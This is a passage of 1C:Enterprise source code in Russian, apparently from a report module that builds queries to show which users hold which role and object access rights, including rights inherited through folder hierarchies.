Запрос.УстановитьПараметр("ПраваРолейРасширений", УправлениеДоступомСлужебный.ПраваРолейРасширений()); Если ВариантПравНаОбъект Тогда ОбъектМетаданных = Метаданные.НайтиПоТипу(ТипЗнч(ЭлементДанных)); ОтборПоТаблицам = ОбщегоНазначения.ИдентификаторОбъектаМетаданных(ОбъектМетаданных); ИначеЕсли ВариантДляЗначенияДоступа Тогда ТаблицыСОграничением = Запрос.Параметры.ВидыОграниченийПрав.Скопировать(, "Таблица"); ТаблицыСОграничением.Свернуть("Таблица"); ОтборПоТаблицам = ?(ЗначениеЗаполнено(ТаблицыСОграничением), ОтборПоТаблицам(ТаблицыСОграничением.ВыгрузитьКолонку("Таблица")), ОбщегоНазначенияКлиентСервер.ЗначениеВМассиве(Неопределено)); Иначе ОтборПоТаблицам = ОтборПоТаблицам(); КонецЕсли; Если ЗначениеЗаполнено(ОтборПоТаблицам) Тогда Запрос.УстановитьПараметр("ВыбранныеТаблицы", ОтборПоТаблицам); Запрос.Текст = СтрЗаменить(Запрос.Текст, "&ОтборПравПоТаблицам", "ПраваРолей.ОбъектМетаданных В (&ВыбранныеТаблицы)"); Запрос.Текст = СтрЗаменить(Запрос.Текст, "&ОтборОтчетовПоТаблицам", "ТаблицыОтчетов.ОбъектМетаданных В (&ВыбранныеТаблицы)"); Иначе Запрос.Текст = СтрЗаменить(Запрос.Текст, "&ОтборПравПоТаблицам", "ИСТИНА"); Запрос.Текст = СтрЗаменить(Запрос.Текст, "&ОтборОтчетовПоТаблицам", "ИСТИНА"); КонецЕсли; Запрос.Текст = СтрЗаменить(Запрос.Текст, "И (&УсловиеОтбораПоПользователям)", УсловиеОтбораПоПользователям); Если ЗначениеЗаполнено(УсловиеОтбораПоВходВПрограммуРазрешен) Тогда Запрос.Текст = Запрос.Текст + УсловиеОтбораПоВходВПрограммуРазрешен; Запрос.Текст = СтрЗаменить(Запрос.Текст, "ЛЕВОЕ СОЕДИНЕНИЕ РегистрСведений.СведенияОПользователях КАК СведенияОПользователях", "ВНУТРЕННЕЕ СОЕДИНЕНИЕ РегистрСведений.СведенияОПользователях КАК СведенияОПользователях"); КонецЕсли; Если ВключенаГруппировкаПоОтчетам Тогда Запрос.Текст = Запрос.Текст + " | |ИНДЕКСИРОВАТЬ ПО | ОтчетСсылка, | ОбъектМетаданных, | Пользователь"; Запрос.Текст = Запрос.Текст + ОбщегоНазначения.РазделительПакетаЗапросов() + ТекстЗапросаСГруппировкойПоОтчетамКонечный(); КонецЕсли; Результат = Запрос.Выполнить().Выгрузить(); Если ВариантПравНаОбъект Тогда Результат.Колонки.Добавить("ЭлементДанных"); Результат.Колонки.Добавить("ЭлементДанныхПредставление"); Результат.ЗаполнитьЗначения(ОбщегоНазначения.ЗначениеВСтрокуXML(ЭлементДанных), "ЭлементДанных"); Результат.ЗаполнитьЗначения(ПредставлениеЭлементаДанных(ЭлементДанных), "ЭлементДанныхПредставление"); КонецЕсли; Возврат Результат; КонецФункции Функция ТипСтрока(ДлинаСтроки) Возврат Новый ОписаниеТипов("Строка",,,, Новый КвалификаторыСтроки(ДлинаСтроки)) КонецФункции Функция ТипЧисло(ЧислоРазрядов) Возврат Новый ОписаниеТипов("Число",,, Новый КвалификаторыЧисла(ЧислоРазрядов, 0, ДопустимыйЗнак.Неотрицательный)); КонецФункции Функция ВключенаГруппировкаПоОтчетам() СписокПолей = Новый Массив; ЗаполнитьСписокПолейГруппировок(КомпоновщикНастроек.Настройки.Структура, КомпоновщикНастроек.ПользовательскиеНастройки, СписокПолей); Возврат СписокПолей.Найти(Новый ПолеКомпоновкиДанных("Отчет")) <> Неопределено; КонецФункции Функция ВариантСОграничениямиДоступа() Вариант = КомпоновщикНастроек.Настройки.ДополнительныеСвойства.КлючПредопределенногоВарианта; Возврат Вариант = "ПраваПользователяНаТаблицу"; КонецФункции Функция ВариантПравНаОбъект() Вариант = КомпоновщикНастроек.Настройки.ДополнительныеСвойства.КлючПредопределенногоВарианта; Возврат Вариант = "ПраваПользователейНаОбъект"; КонецФункции Функция ВариантДляЗначенияДоступа() Вариант = КомпоновщикНастроек.Настройки.ДополнительныеСвойства.КлючПредопределенногоВарианта; Возврат Вариант = "ПраваПользователейВРазрезеРазрешенногоЗначения"; КонецФункции // Возвращаемое значение: // Структура: // * ЕстьИерархия - Булево // * ОписаниеПрав - ФиксированныйМассив из см. РегистрыСведений.НастройкиПравОбъектов.СвойстваВозможногоПрава // * ТипСсылки - Тип // * ПустаяСсылка - ЛюбаяСсылка // Функция НастройкиПравПоТаблицеВОтборе(НастройкиКД = Неопределено, ПользовательскиеНастройкиКД = Неопределено) Таблицы = ОтборПоТаблицам(, НастройкиКД, ПользовательскиеНастройкиКД); Если Не ЗначениеЗаполнено(Таблицы) Или Таблицы.Количество() <> 1 Или Не ЗначениеЗаполнено(Таблицы[0]) Или Не ОписаниеТиповИдентификатора().СодержитТип(ТипЗнч(Таблицы[0])) Тогда Возврат Неопределено; КонецЕсли; МетаданныеТаблицы = ОбщегоНазначения.ОбъектМетаданныхПоИдентификатору(Таблицы[0], Ложь); Если МетаданныеТаблицы = Неопределено Или Не ОбщегоНазначения.ЭтоОбъектСсылочногоТипа(МетаданныеТаблицы) Тогда Возврат Неопределено; КонецЕсли; МенеджерОбъекта = ОбщегоНазначения.МенеджерОбъектаПоПолномуИмени(МетаданныеТаблицы.ПолноеИмя()); ПустаяСсылка = МенеджерОбъекта.ПустаяСсылка(); ТипСсылки = ТипЗнч(ПустаяСсылка); ВозможныеПрава = УправлениеДоступомСлужебный.ВозможныеПраваДляНастройкиПравОбъектов(); ОписаниеПрав = ВозможныеПрава.ПоТипамСсылок.Получить(ТипСсылки); Если ОписаниеПрав = Неопределено Тогда Возврат Неопределено; КонецЕсли; Свойства = Новый Структура("Иерархический", Ложь); ЗаполнитьЗначенияСвойств(Свойства, МетаданныеТаблицы); Результат = Новый Структура; Результат.Вставить("ЕстьИерархия", Свойства.Иерархический); Результат.Вставить("ОписаниеПрав", ОписаниеПрав); Результат.Вставить("ТипСсылки", ТипСсылки); Результат.Вставить("ПустаяСсылка", ПустаяСсылка); Возврат Результат; КонецФункции // Параметры: // КоллекцияЭлементов - КоллекцияЭлементовСтруктурыНастроекКомпоновкиДанных // СписокПолей - Массив // Процедура ЗаполнитьСписокПолейГруппировок(КоллекцияЭлементов, ПользовательскиеНастройки, СписокПолей) Для Каждого Элемент Из КоллекцияЭлементов Цикл Если ТипЗнч(Элемент) <> Тип("ГруппировкаКомпоновкиДанных") И ТипЗнч(Элемент) <> Тип("ГруппировкаТаблицыКомпоновкиДанных") И ТипЗнч(Элемент) <> Тип("ТаблицаКомпоновкиДанных") Тогда Продолжить; КонецЕсли; ПользовательскийЭлемент = ПользовательскиеНастройки.Элементы.Найти( Элемент.ИдентификаторПользовательскойНастройки); Если ПользовательскийЭлемент <> Неопределено И Не ПользовательскийЭлемент.Использование Или ПользовательскийЭлемент = Неопределено И Не Элемент.Использование Тогда Продолжить; КонецЕсли; Если ТипЗнч(Элемент) = Тип("ТаблицаКомпоновкиДанных") Тогда ЗаполнитьСписокПолейГруппировок(Элемент.Строки, ПользовательскиеНастройки, СписокПолей); ЗаполнитьСписокПолейГруппировок(Элемент.Колонки, ПользовательскиеНастройки, СписокПолей); Иначе Для Каждого Поле Из Элемент.ПоляГруппировки.Элементы Цикл Если ТипЗнч(Поле) = Тип("ПолеГруппировкиКомпоновкиДанных") Тогда Если Поле.Использование Тогда СписокПолей.Добавить(Поле.Поле); КонецЕсли; КонецЕсли; КонецЦикла; ЗаполнитьСписокПолейГруппировок(Элемент.Структура, ПользовательскиеНастройки, СписокПолей); КонецЕсли; КонецЦикла; КонецПроцедуры Функция ВыбранныйОтчет() ВыбранныеОтчеты = Новый Массив; Отбор = КомпоновщикНастроек.ПолучитьНастройки().Отбор; Для Каждого Элемент Из Отбор.Элементы Цикл Если Элемент.Использование И Элемент.ЛевоеЗначение = Новый ПолеКомпоновкиДанных("Отчет") Тогда Если Элемент.ВидСравнения = ВидСравненияКомпоновкиДанных.Равно Тогда ВыбранныеОтчеты.Добавить(Элемент.ПравоеЗначение); Иначе Возврат Неопределено; КонецЕсли; КонецЕсли; КонецЦикла; Если ВыбранныеОтчеты.Количество() = 1 Тогда Возврат ВыбранныеОтчеты[0]; КонецЕсли; Возврат Неопределено; КонецФункции Функция ОтборПоВидуПользователей() Если Не Константы.ИспользоватьВнешнихПользователей.Получить() Тогда Возврат "Пользователи"; КонецЕсли; ПолеОтбора = КомпоновщикНастроек.ПолучитьНастройки().ПараметрыДанных.Элементы.Найти("ВидПользователей"); Если Не ПолеОтбора.Использование Тогда Возврат ""; КонецЕсли; Если ПолеОтбора.Значение = 0 Тогда Возврат "Пользователи"; КонецЕсли; Если ПолеОтбора.Значение = 1 Тогда Возврат "ВнешниеПользователи"; КонецЕсли; Возврат ""; КонецФункции Функция ОтборПоПользователям() Результат = Новый Структура; Результат.Вставить("БезГрупп", Истина); Результат.Вставить("Значение", Неопределено); Если Не Пользователи.ЭтоПолноправныйПользователь(,, Ложь) Тогда Результат.Значение = Пользователи.АвторизованныйПользователь(); Возврат Результат; КонецЕсли; ПолеОтбора = КомпоновщикНастроек.ПолучитьНастройки().ПараметрыДанных.Элементы.Найти("Пользователь"); ЗначениеОтбора = ПолеОтбора.Значение; Если Не ПолеОтбора.Использование Или Не ЗначениеЗаполнено(ЗначениеОтбора) Тогда Возврат Результат; КонецЕсли; Результат.Значение = ЗначениеОтбора; Если ТипЗнч(ЗначениеОтбора) <> Тип("СписокЗначений") Тогда ЗначениеОтбора = Новый СписокЗначений; ЗначениеОтбора.Добавить(Результат.Значение); КонецЕсли; Для Каждого ЭлементСписка Из ЗначениеОтбора Цикл Если ТипЗнч(ЭлементСписка.Значение) = Тип("СправочникСсылка.ГруппыПользователей") Или ТипЗнч(ЭлементСписка.Значение) = Тип("СправочникСсылка.ГруппыВнешнихПользователей") Тогда Результат.БезГрупп = Ложь; Прервать; КонецЕсли; КонецЦикла; Возврат Результат; КонецФункции Функция ОтборПоТаблицам(Список = Неопределено, НастройкиКД = Неопределено, ПользовательскиеНастройкиКД = Неопределено) Если НастройкиКД = Неопределено Тогда НастройкиКД = КомпоновщикНастроек.Настройки; КонецЕсли; Если ПользовательскиеНастройкиКД = Неопределено Тогда ПользовательскиеНастройкиКД = КомпоновщикНастроек.ПользовательскиеНастройки; КонецЕсли; НайденныйЭлемент = Неопределено; Для Каждого Элемент Из НастройкиКД.Отбор.Элементы Цикл Если Элемент.ЛевоеЗначение = Новый ПолеКомпоновкиДанных("ОбъектМетаданных") Тогда НайденныйЭлемент = Элемент; Прервать; КонецЕсли; КонецЦикла; Если НайденныйЭлемент = Неопределено Тогда Возврат Неопределено; КонецЕсли; Настройка = ПользовательскиеНастройкиКД.Элементы.Найти( НайденныйЭлемент.ИдентификаторПользовательскойНастройки); Если Настройка = Неопределено Тогда Настройка = НайденныйЭлемент; КонецЕсли; Если Не Настройка.Использование Тогда Значения = Неопределено; ИначеЕсли Настройка.ВидСравнения = ВидСравненияКомпоновкиДанных.Равно Тогда Значения = ОбщегоНазначенияКлиентСервер.ЗначениеВМассиве(Настройка.ПравоеЗначение); ИначеЕсли Настройка.ВидСравнения = ВидСравненияКомпоновкиДанных.ВСписке Тогда Значения = Настройка.ПравоеЗначение.ВыгрузитьЗначения(); КонецЕсли; Если Значения = Неопределено Тогда Возврат Список; КонецЕсли; Если Список = Неопределено Тогда Возврат Значения; КонецЕсли; Результат = Новый Массив; Для Каждого Значение Из Значения Цикл Если Список.Найти(Значение) <> Неопределено Тогда Результат.Добавить(Значение); КонецЕсли; КонецЦикла; Возврат Результат; КонецФункции Функция ОтборПоВходВПрограммуРазрешен() Отбор = КомпоновщикНастроек.ПолучитьНастройки().Отбор; Для Каждого Элемент Из Отбор.Элементы Цикл Если Элемент.Использование И Элемент.ЛевоеЗначение = Новый ПолеКомпоновкиДанных("ВходВПрограммуРазрешен") И Элемент.ВидСравнения = ВидСравненияКомпоновкиДанных.Равно И Элемент.ПравоеЗначение = Истина Тогда Возврат Истина; КонецЕсли; КонецЦикла; Возврат Ложь; КонецФункции Функция НастройкиПравПоОбъектам() Результат = Новый Структура; Результат.Вставить("НастройкиПравПоОбъектам", Новый ТаблицаЗначений); Результат.Вставить("НастройкиПравИерархия", Новый ТаблицаЗначений); Результат.Вставить("НастройкиПравЛегенда", Новый ТаблицаЗначений); Результат.Вставить("ВладелецНастроекЗаголовок", ""); Если Не ВариантСОграничениямиДоступа() Тогда Возврат Результат; КонецЕсли; НастройкиПрав = НастройкиПравПоТаблицеВОтборе(); Если НастройкиПрав = Неопределено Тогда Возврат Результат; КонецЕсли; Результат.ВладелецНастроекЗаголовок = Строка(НастройкиПрав.ТипСсылки); ОписаниеПользователя = ОтборПоПользователям().Значение; Если ТипЗнч(ОписаниеПользователя) = Тип("СписокЗначений") Тогда Если ОписаниеПользователя.Количество() <> 1 Тогда Возврат Результат; КонецЕсли; Пользователь = ОписаниеПользователя[0].Значение; Иначе Пользователь = ОписаниеПользователя; КонецЕсли; Если ТипЗнч(Пользователь) <> Тип("СправочникСсылка.Пользователи") И ТипЗнч(Пользователь) <> Тип("СправочникСсылка.ВнешниеПользователи") Тогда Возврат Результат; КонецЕсли; Если Пользователи.ЭтоПолноправныйПользователь(Пользователь,, Ложь) Тогда Возврат Результат; КонецЕсли; ИмяДляПодпапок = ОписаниеКолонкиДляПодпапок().Имя; ЗаголовкиПрав = ЗаголовкиПрав(НастройкиПрав, ИмяДляПодпапок); Запрос = Новый Запрос; Запрос.УстановитьПараметр("ТипОбъектов", НастройкиПрав.ТипСсылки); Запрос.УстановитьПараметр("Пользователь", Пользователь); Запрос.УстановитьПараметр("ИмяДляПодпапок", ИмяДляПодпапок); Запрос.УстановитьПараметр("ЕстьИерархия", НастройкиПрав.ЕстьИерархия); Запрос.УстановитьПараметр("ПустойРодитель", НастройкиПрав.ПустаяСсылка); Запрос.УстановитьПараметр("ЗаголовкиПрав", ЗаголовкиПрав); Запрос.УстановитьПараметр("ПредставлениеПерсонально", НСтр("ru = 'Персонально'")); Запрос.УстановитьПараметр("ПредставлениеНеопределено", НСтр("ru = 'Неопределено'")); Запрос.УстановитьПараметр("ПредставлениеГруппыПользователей", " (" + НСтр("ru = 'Группа пользователей'") + ")"); Запрос.УстановитьПараметр("ПредставлениеГруппыВнешнихПользователей", " (" + НСтр("ru = 'Группа внешних пользователей'") + ")"); Запрос.Текст = "ВЫБРАТЬ | НастройкиПрав.Объект КАК ВладелецНастроек, | НастройкиПрав.Пользователь КАК ПользовательНастройки, | НастройкиПрав.Право КАК НастроенноеПраво, | ВЫБОР | КОГДА НастройкиПрав.ПравоЗапрещено | ТОГДА 2 | ИНАЧЕ 1 | КОНЕЦ КАК ЗначениеПрава |ПОМЕСТИТЬ НастройкиПравПоВладельцам |ИЗ | РегистрСведений.НастройкиПравОбъектов КАК НастройкиПрав |ГДЕ | ИСТИНА В | (ВЫБРАТЬ ПЕРВЫЕ 1 | ИСТИНА | ИЗ | РегистрСведений.СоставыГруппПользователей КАК СоставыГруппПользователей | ГДЕ | СоставыГруппПользователей.ГруппаПользователей = НастройкиПрав.Пользователь | И СоставыГруппПользователей.Пользователь = &Пользователь) | И ТИПЗНАЧЕНИЯ(НастройкиПрав.Объект) = &ТипОбъектов | |ОБЪЕДИНИТЬ ВСЕ | |ВЫБРАТЬ | НастройкиПрав.Объект, | НастройкиПрав.Пользователь, | &ИмяДляПодпапок, | ВЫБОР | КОГДА МАКСИМУМ(НастройкиПрав.НаследованиеРазрешено) = ЛОЖЬ | ТОГДА 2 | ИНАЧЕ 1 | КОНЕЦ |ИЗ | РегистрСведений.НастройкиПравОбъектов КАК НастройкиПрав |ГДЕ | &ЕстьИерархия | И ИСТИНА В | (ВЫБРАТЬ ПЕРВЫЕ 1 | ИСТИНА | ИЗ | РегистрСведений.СоставыГруппПользователей КАК СоставыГруппПользователей | ГДЕ | СоставыГруппПользователей.ГруппаПользователей = НастройкиПрав.Пользователь | И СоставыГруппПользователей.Пользователь = &Пользователь) | И ТИПЗНАЧЕНИЯ(НастройкиПрав.Объект) = &ТипОбъектов | |СГРУППИРОВАТЬ ПО | НастройкиПрав.Объект, | НастройкиПрав.Пользователь |; | |//////////////////////////////////////////////////////////////////////////////// |ВЫБРАТЬ | РассчитанныеПрава.ВладелецНастроек КАК ВладелецНастроек, | РассчитанныеПрава.НастроенноеПраво КАК НастроенноеПраво, | МАКСИМУМ(РассчитанныеПрава.ЗначениеПрава) КАК ЗначениеПрава |ПОМЕСТИТЬ РассчитанныеПраваПоВладельцам |ИЗ | (ВЫБРАТЬ РАЗЛИЧНЫЕ | НаследованиеНастроек.Объект КАК ВладелецНастроек, | НастройкиПрав.Право КАК НастроенноеПраво, | 1 КАК ЗначениеПрава | ИЗ | РегистрСведений.НаследованиеНастроекПравОбъектов КАК НаследованиеНастроек | ВНУТРЕННЕЕ СОЕДИНЕНИЕ РегистрСведений.НастройкиПравОбъектов КАК НастройкиПрав | ПО (ТИПЗНАЧЕНИЯ(НаследованиеНастроек.Объект) = &ТипОбъектов) | И (НастройкиПрав.Объект = НаследованиеНастроек.Родитель) | И НаследованиеНастроек.УровеньИспользования < НастройкиПрав.УровеньРазрешенияПрава | ВНУТРЕННЕЕ СОЕДИНЕНИЕ РегистрСведений.СоставыГруппПользователей КАК СоставыГруппПользователей | ПО (СоставыГруппПользователей.Пользователь = &Пользователь) | И (СоставыГруппПользователей.ГруппаПользователей = НастройкиПрав.Пользователь) | | ОБЪЕДИНИТЬ ВСЕ | | ВЫБРАТЬ РАЗЛИЧНЫЕ | НаследованиеНастроек.Объект, | НастройкиПрав.Право, | 2 | ИЗ | РегистрСведений.НаследованиеНастроекПравОбъектов КАК НаследованиеНастроек | ВНУТРЕННЕЕ СОЕДИНЕНИЕ РегистрСведений.НастройкиПравОбъектов КАК НастройкиПрав | ПО (ТИПЗНАЧЕНИЯ(НаследованиеНастроек.Объект) = &ТипОбъектов) | И (НастройкиПрав.Объект = НаследованиеНастроек.Родитель) | И НаследованиеНастроек.УровеньИспользования < НастройкиПрав.УровеньЗапрещенияПрава | ВНУТРЕННЕЕ СОЕДИНЕНИЕ РегистрСведений.СоставыГруппПользователей КАК СоставыГруппПользователей | ПО (СоставыГруппПользователей.Пользователь = &Пользователь) | И (СоставыГруппПользователей.ГруппаПользователей = НастройкиПрав.Пользователь)) КАК РассчитанныеПрава | |СГРУППИРОВАТЬ ПО | РассчитанныеПрава.ВладелецНастроек, | РассчитанныеПрава.НастроенноеПраво |; | |//////////////////////////////////////////////////////////////////////////////// |ВЫБРАТЬ | НаследованиеНастроек.Объект КАК ВладелецНастроек, | НаследованиеНастроек.Наследовать КАК НаследованиеНастроек |ПОМЕСТИТЬ НаследованиеНастроекПоВладельцам |ИЗ | РегистрСведений.НаследованиеНастроекПравОбъектов КАК НаследованиеНастроек |ГДЕ | НаследованиеНастроек.Объект = НаследованиеНастроек.Родитель | И ТИПЗНАЧЕНИЯ(НаследованиеНастроек.Объект) = &ТипОбъектов | И ИСТИНА В | (ВЫБРАТЬ ПЕРВЫЕ 1 | ИСТИНА | ИЗ | РассчитанныеПраваПоВладельцам КАК РассчитанныеПраваПоВладельцам | ВНУТРЕННЕЕ СОЕДИНЕНИЕ РегистрСведений.НаследованиеНастроекПравОбъектов КАК Родители | ПО | Родители.Объект = РассчитанныеПраваПоВладельцам.ВладелецНастроек | И Родители.Родитель = НаследованиеНастроек.Объект) |; | |//////////////////////////////////////////////////////////////////////////////// |ВЫБРАТЬ | ЗаголовкиПрав.ИмяПрава КАК ИмяПрава, | ЗаголовкиПрав.ЗаголовокПрава КАК ЗаголовокПрава, | ЗаголовкиПрав.ИндексПрава КАК ИндексПрава |ПОМЕСТИТЬ ЗаголовкиПрав |ИЗ | &ЗаголовкиПрав КАК ЗаголовкиПрав |; | |//////////////////////////////////////////////////////////////////////////////// |ВЫБРАТЬ ПЕРВЫЕ 1 | РассчитанныеПраваПоВладельцам.ВладелецНастроек КАК ВладелецНастроек, | ЕСТЬNULL(НаследованиеНастроекПоВладельцам.НаследованиеНастроек, ЛОЖЬ) КАК НаследованиеНастроек |ПОМЕСТИТЬ ОдинВладелецНастроек |ИЗ | РассчитанныеПраваПоВладельцам КАК РассчитанныеПраваПоВладельцам | ЛЕВОЕ СОЕДИНЕНИЕ НаследованиеНастроекПоВладельцам КАК НаследованиеНастроекПоВладельцам | ПО (НаследованиеНастроекПоВладельцам.ВладелецНастроек = РассчитанныеПраваПоВладельцам.ВладелецНастроек) |; | |//////////////////////////////////////////////////////////////////////////////// |ВЫБРАТЬ | ВЫБОР | КОГДА НаследованиеНастроекПоВладельцам.ВладелецНастроек.Родитель <> &ПустойРодитель | ТОГДА НаследованиеНастроекПоВладельцам.ВладелецНастроек.Родитель | ИНАЧЕ НЕОПРЕДЕЛЕНО | КОНЕЦ КАК РодительВладельцаИлиПользователяНастроек, | НаследованиеНастроекПоВладельцам.ВладелецНастроек КАК ВладелецИлиПользовательНастроек, | ПРЕДСТАВЛЕНИЕ(НаследованиеНастроекПоВладельцам.ВладелецНастроек) КАК ВладелецИлиПользовательНастроекПредставление, | ВЫБОР | КОГДА НаследованиеНастроекПоВладельцам.ВладелецНастроек.Родитель <> &ПустойРодитель | ТОГДА НаследованиеНастроекПоВладельцам.ВладелецНастроек.Родитель | ИНАЧЕ НЕОПРЕДЕЛЕНО | КОНЕЦ КАК ВладелецНастроек, | ИСТИНА КАК ЭтоВладелецНастроек |ИЗ | НаследованиеНастроекПоВладельцам КАК НаследованиеНастроекПоВладельцам | |ОБЪЕДИНИТЬ ВСЕ | |ВЫБРАТЬ РАЗЛИЧНЫЕ | НастройкиПравПоВладельцам.ВладелецНастроек, | НастройкиПравПоВладельцам.ПользовательНастройки, | ВЫБОР | КОГДА ТИПЗНАЧЕНИЯ(НастройкиПравПоВладельцам.ПользовательНастройки) = ТИП(Справочник.Пользователи) | ИЛИ ТИПЗНАЧЕНИЯ(НастройкиПравПоВладельцам.ПользовательНастройки) = ТИП(Справочник.ВнешниеПользователи) | ТОГДА &ПредставлениеПерсонально | КОГДА ТИПЗНАЧЕНИЯ(НастройкиПравПоВладельцам.ПользовательНастройки) = ТИП(Справочник.ГруппыПользователей) | ТОГДА ВЫРАЗИТЬ(НастройкиПравПоВладельцам.ПользовательНастройки КАК Справочник.ГруппыПользователей).Наименование + &ПредставлениеГруппыПользователей | КОГДА ТИПЗНАЧЕНИЯ(НастройкиПравПоВладельцам.ПользовательНастройки) = ТИП(Справочник.ГруппыВнешнихПользователей) | ТОГДА ВЫРАЗИТЬ(НастройкиПравПоВладельцам.ПользовательНастройки КАК Справочник.ГруппыВнешнихПользователей).Наименование + &ПредставлениеГруппыВнешнихПользователей | ИНАЧЕ &ПредставлениеНеопределено | КОНЕЦ, | НастройкиПравПоВладельцам.ВладелецНастроек, | ЛОЖЬ |ИЗ | НастройкиПравПоВладельцам КАК НастройкиПравПоВладельцам |; | |//////////////////////////////////////////////////////////////////////////////// |ВЫБРАТЬ | ВЫБОР | КОГДА РассчитанныеПраваПоВладельцам.ВладелецНастроек.Родитель <> &ПустойРодитель | ТОГДА РассчитанныеПраваПоВладельцам.ВладелецНастроек.Родитель | ИНАЧЕ НЕОПРЕДЕЛЕНО | КОНЕЦ КАК ВладелецНастроек, | РассчитанныеПраваПоВладельцам.ВладелецНастроек КАК ВладелецИлиПользовательНастроек, | ИСТИНА КАК ЭтоВладелецНастроек, | ЕСТЬNULL(НаследованиеНастроекПоВладельцам.НаследованиеНастроек, ЛОЖЬ) КАК НаследованиеНастроекВладельцем, | ЕСТЬNULL(ЗаголовкиПрав.ЗаголовокПрава, РассчитанныеПраваПоВладельцам.НастроенноеПраво) КАК НастроенноеПраво, | ЕСТЬNULL(ЗаголовкиПрав.ИндексПрава, 99) КАК ИндексПрава, | РассчитанныеПраваПоВладельцам.ЗначениеПрава КАК ЗначениеПрава |ИЗ | РассчитанныеПраваПоВладельцам КАК РассчитанныеПраваПоВладельцам | ЛЕВОЕ СОЕДИНЕНИЕ ЗаголовкиПрав КАК ЗаголовкиПрав | ПО (ЗаголовкиПрав.ИмяПрава = РассчитанныеПраваПоВладельцам.НастроенноеПраво) | ЛЕВОЕ СОЕДИНЕНИЕ НаследованиеНастроекПоВладельцам КАК НаследованиеНастроекПоВладельцам | ПО (НаследованиеНастроекПоВладельцам.ВладелецНастроек = РассчитанныеПраваПоВладельцам.ВладелецНастроек) | |ОБЪЕДИНИТЬ ВСЕ | |ВЫБРАТЬ | НастройкиПравПоВладельцам.ВладелецНастроек, | НастройкиПравПоВладельцам.ПользовательНастройки, | ЛОЖЬ, | ЕСТЬNULL(НаследованиеНастроекПоВладельцам.НаследованиеНастроек, ЛОЖЬ), | ЕСТЬNULL(ЗаголовкиПрав.ЗаголовокПрава, НастройкиПравПоВладельцам.НастроенноеПраво), | ЕСТЬNULL(ЗаголовкиПрав.ИндексПрава, 99), | НастройкиПравПоВладельцам.ЗначениеПрава |ИЗ | НастройкиПравПоВладельцам КАК НастройкиПравПоВладельцам | ЛЕВОЕ СОЕДИНЕНИЕ ЗаголовкиПрав КАК ЗаголовкиПрав | ПО (ЗаголовкиПрав.ИмяПрава = НастройкиПравПоВладельцам.НастроенноеПраво) | ЛЕВОЕ СОЕДИНЕНИЕ НаследованиеНастроекПоВладельцам КАК НаследованиеНастроекПоВладельцам | ПО (НаследованиеНастроекПоВладельцам.ВладелецНастроек = НастройкиПравПоВладельцам.ВладелецНастроек) | |ОБЪЕДИНИТЬ ВСЕ | |ВЫБРАТЬ | ВЫБОР | КОГДА ОдинВладелецНастроек.ВладелецНастроек.Родитель <> &ПустойРодитель | ТОГДА ОдинВладелецНастроек.ВладелецНастроек.Родитель | ИНАЧЕ НЕОПРЕДЕЛЕНО | КОНЕЦ, | ОдинВладелецНастроек.ВладелецНастроек, | ИСТИНА, | ОдинВладелецНастроек.НаследованиеНастроек, | ЗаголовкиПрав.ЗаголовокПрава, | ЗаголовкиПрав.ИндексПрава, | 0 |ИЗ | ЗаголовкиПрав КАК ЗаголовкиПрав | ВНУТРЕННЕЕ СОЕДИНЕНИЕ ОдинВладелецНастроек КАК ОдинВладелецНастроек | ПО (НЕ ИСТИНА В | (ВЫБРАТЬ ПЕРВЫЕ 1 | ИСТИНА | ИЗ | РассчитанныеПраваПоВладельцам КАК РассчитанныеПрава | ГДЕ | РассчитанныеПрава.НастроенноеПраво = ЗаголовкиПрав.ИмяПрава))"; РезультатыЗапроса = Запрос.ВыполнитьПакет(); Результат.НастройкиПравИерархия = РезультатыЗапроса[РезультатыЗапроса.ВГраница()-1].Выгрузить(); Результат.НастройкиПравПоОбъектам = РезультатыЗапроса[РезультатыЗапроса.ВГраница()].Выгрузить(); Результат.НастройкиПравЛегенда = НастройкиПравЛегенда(ЗаголовкиПрав, НастройкиПрав.ЕстьИерархия); Возврат Результат; КонецФункции Функция ЗаголовкиПрав(НастройкиПрав, ИмяДляПодпапок) Результат = Новый ТаблицаЗначений; Результат.Колонки.Добавить("ИмяПрава", ТипСтрока(60)); Результат.Колонки.Добавить("ИндексПрава", ТипЧисло(2)); Результат.Колонки.Добавить("ЗаголовокПрава", ТипСтрока(60)); Результат.Колонки.Добавить("ПодсказкаПрава", ТипСтрока(150)); Для Каждого ОписаниеПрава Из НастройкиПрав.ОписаниеПрав Цикл ПредставленияПрава = РегистрыСведений.НастройкиПравОбъектов.ПредставлениеВозможногоПрава(ОписаниеПрава); НоваяСтрока = Результат.Добавить(); НоваяСтрока.ИмяПрава = ОписаниеПрава.Имя; НоваяСтрока.ИндексПрава = ОписаниеПрава.ИндексПрава; НоваяСтрока.ЗаголовокПрава = СтрЗаменить(ПредставленияПрава.Заголовок, Символы.ПС, " "); НоваяСтрока.ПодсказкаПрава = СтрЗаменить(ПредставленияПрава.Подсказка, Символы.ПС, " "); КонецЦикла; Если НастройкиПрав.ЕстьИерархия Тогда ОписаниеКолонки = ОписаниеКолонкиДляПодпапок(); НоваяСтрока = Результат.Добавить(); НоваяСтрока.ИмяПрава = ОписаниеКолонки.Имя; НоваяСтрока.ИндексПрава = НастройкиПрав.ОписаниеПрав.Количество(); НоваяСтрока.ЗаголовокПрава = ОписаниеКолонки.Заголовок; НоваяСтрока.ПодсказкаПрава = ОписаниеКолонки.Подсказка; КонецЕсли; Возврат Результат; КонецФункции Функция ОписаниеКолонкиДляПодпапок() Результат = Новый Структура; Результат.Вставить("Имя", "ДляПодпапок"); Результат.Вставить("Заголовок", НСтр("ru = 'Для подпапок'")); Результат.Вставить("Подсказка", НСтр("ru = 'Права не только для текущей папки, но и для ее нижестоящих папок'")); Возврат Результат; КонецФункции Функция НастройкиПравЛегенда(ЗаголовкиПрав, ЕстьИерархия) Результат = ЗаголовкиПрав.Скопировать(, "ЗаголовокПрава,ПодсказкаПрава"); Если ЕстьИерархия Тогда НоваяСтрока = Результат.Вставить(0); НоваяСтрока.ЗаголовокПрава = ""; НоваяСтрока.ПодсказкаПрава = НСтр("ru = 'Наследование прав от вышестоящих папок'"); КонецЕсли; Для Каждого Строка Из Результат Цикл Строка.ПодсказкаПрава = "- " + Строка.ПодсказкаПрава; КонецЦикла; Возврат Результат; КонецФункции Функция ОтборПоЭлементамДанных() ПолеОтбора = КомпоновщикНастроек.ПолучитьНастройки().ПараметрыДанных.Элементы.Найти("ЭлементДанных"); ЗначениеОтбора = ПолеОтбора.Значение; Если Не ПолеОтбора.Использование Или Не ЗначениеЗаполнено(ЗначениеОтбора) Тогда Возврат Справочники.Пользователи.ПустаяСсылка(); КонецЕсли; Возврат ЗначениеОтбора; КонецФункции Функция 